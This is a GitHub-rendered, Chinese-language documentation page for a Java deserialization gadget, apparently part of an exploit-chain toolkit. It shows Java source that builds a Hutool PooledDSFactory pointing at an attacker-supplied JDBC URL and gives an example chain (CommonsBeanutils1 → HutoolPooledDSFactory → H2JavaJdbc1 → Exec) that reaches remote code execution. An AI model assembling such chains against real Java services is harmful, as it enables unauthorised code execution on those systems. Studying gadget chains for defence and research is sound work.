Skip to content

Latest commit

 

History

History
60 lines (50 loc) · 4.46 KB

File metadata and controls

60 lines (50 loc) · 4.46 KB

HutoolPooledDSFactory(HutoolPooledDSFactory)

  • 类别:javanative 别名:— 优先级:—
  • 作者:Unam4
  • 依赖cn.hutool.hutool-all:5.8.29

作用

构造一个 Hutool 的 cn.hutool.db.ds.pooled.PooledDSFactory 对象作为「getter → JDBC」跳板:当上游 getter gadget 调用其 getDataSource() 时,会用配置里的 url 创建连接池并发起 JDBC 连接。因此本 gadget 把 getter 触发转为一次到攻击者可控 JDBC URL 的连接(nextTags=JdbcUrlChains,由下游提供恶意 jdbc url,如 H2/MySQL 恶意服务实现 RCE/文件读写)。

链接标签

  • 入口 tagsDataSourceChainsGetterNotForRome
    • Getter / DataSourceChains:需由能调用目标 getter 的上游触发(CB/Hibernate/Jackson 等)。
    • NotForRome:不能用于 Rome 链——Rome 调 getter 时拿不到 DSFactory.class 的 property 描述,触发不了 getDataSource(见 description)。
  • 衔接 nextTagsJdbcUrlChains —— 下游提供恶意 JDBC URL 字符串(如 H2JavaJdbc1 等 H2/MySQL jdbc 利用 gadget)。
  • excludes:无。

源码剖析

private final String getterMethodName   = "getDataSource";
private final String getterPropertyName = "dataSource";

public Object getObject(String JDBC_URL) {
    Setting setting = new Setting();
    setting.setCharset(null);
    setting.set("url", JDBC_URL);        // 来自下游 JdbcUrlChains 的恶意 jdbc url
    setting.set("initialSize", "1");
    PooledDSFactory DSFactory2 = new PooledDSFactory(setting);   // 构造期不连接,等 getDataSource
    return DSFactory2;
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    String jdbcUrl = (String)chain.doCreate(context);            // 先取下游产出的 jdbc url
    context.put(ContextTag.SUPER_CLASS_NAME_KEY,   DSFactory.class);
    context.put(ContextTag.SPECIAL_METHOD_NAME_KEY, "getDataSource");
    context.put(ContextTag.GETTER_PARAM_NAME_KEY,   "dataSource");
    return this.getObject(jdbcUrl);
}

逐段解释:

  • 与终点型的 HutoolJndiDSFactory 不同,本 gadget 需要下游invokechain.doCreate(context) 拿到一个 JDBC URL 字符串(由 JdbcUrlChains 类 gadget 产出),再把它塞进 Settingurl,构造 PooledDSFactory
  • 3 个 ContextTagSUPER_CLASS_NAME_KEY=DSFactory.classSPECIAL_METHOD_NAME_KEY=getDataSourceGETTER_PARAM_NAME_KEY=dataSource)与 HutoolJndiDSFactory 相同,用于告知上游 getter gadget:要触发的属性是 dataSource(方法 getDataSource),且需以父类 DSFactory.class 解析 property 描述符。上游按此调用 getDataSource()
  • PooledDSFactory 构造时不立即连库;真正的 JDBC 连接发生在 cn.hutool.db.ds.pooled.PooledDSFactory#getDataSource(description 明确核心为 PooledFactory#getDataSource)被上游触发之时——此时用恶意 url 建立连接池并 getConnection,落入下游 jdbc 利用(如 H2 INIT 脚本执行字节码)。

参数(@Param)

本类无 @Param。JDBC URL 不是本 gadget 的固定参数,而是由下游 JdbcUrlChains gadget(通过 chain.doCreate)动态提供。

适用版本与原理要点

  • 依赖 cn.hutool.hutool-all:5.8.29。核心方法 cn.hutool.db.ds.pooled.PooledDSFactory#getDataSource
  • 与 HutoolJndiDSFactory 的差异:本类走 JDBC,非终点,必须再接一个 JdbcUrlChains 下游来提供恶意 jdbc url;后者走 JNDI 且为 END
  • 不适用 Rome 链NotForRome):Rome 调 getter 拿不到 DSFactory.class 的 property 描述,触发不了 getDataSource
  • 需上游是 getter 触发型 gadget;getDataSource 定义在父类 DSFactory 上,故用 SUPER_CLASS_NAME_KEY 指定父类解析 property。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。常见组合:[<Getter 型 gadget>, HutoolPooledDSFactory, <JdbcUrl gadget>, ...],如 [CommonsBeanutils1, HutoolPooledDSFactory, H2JavaJdbc1, BytecodeConvert, Exec]

关联

  • 上游(提供 Getter 触发):CommonsBeanutils1、Hibernate 系、Jackson 系等。
  • 下游(nextTags=JdbcUrlChains):H2JavaJdbc1 等 H2/MySQL jdbc 利用 gadget。
  • 同族(Hutool DataSource 工厂):HutoolJndiDSFactory、HutoolSimpleDSFactory。